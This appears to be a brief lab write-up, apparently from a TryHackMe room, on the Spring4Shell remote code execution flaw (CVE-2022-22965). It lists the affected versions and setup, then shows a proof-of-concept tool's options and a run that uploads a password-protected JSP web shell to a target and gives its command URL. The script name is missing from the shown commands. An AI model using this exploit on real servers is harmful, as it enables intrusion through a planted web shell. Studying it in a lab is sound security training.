# Spring4Shell: CVE-2022-22965 RCE

## Java Spring framework RCE vulnerability
These vulnerabilities affects a component "Spring Core" โ€”  the heart of the framework 

**Current conditions for vulnerability:-**

- JDK 9+
- A vulnerable version of the Spring Framework (<5.2 | 5.2.0-19 | 5.3.0-17)
- Apache Tomcat as a server for the Spring application, packaged as a WAR
- A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework

## The exploit

user@attacker:~$ ./ --help
usage: [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url

Spring4Shell RCE Proof of Concept

positional arguments:
  url                   Target URL

optional arguments:
  -h, --help            show this help message and exit
  -f FILENAME, --filename FILENAME
                        Name of the file to upload (Default tomcatwar.jsp)
  -p PASSWORD, --password PASSWORD
                        Password to protect the shell with (Default: thm)
  -d DIRECTORY, --directory DIRECTORY
                        The upload path for the file (Default: ROOT)

user@attacker:~$ ./ http://MACHINE_IP/
Shell Uploaded Successfully!

# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami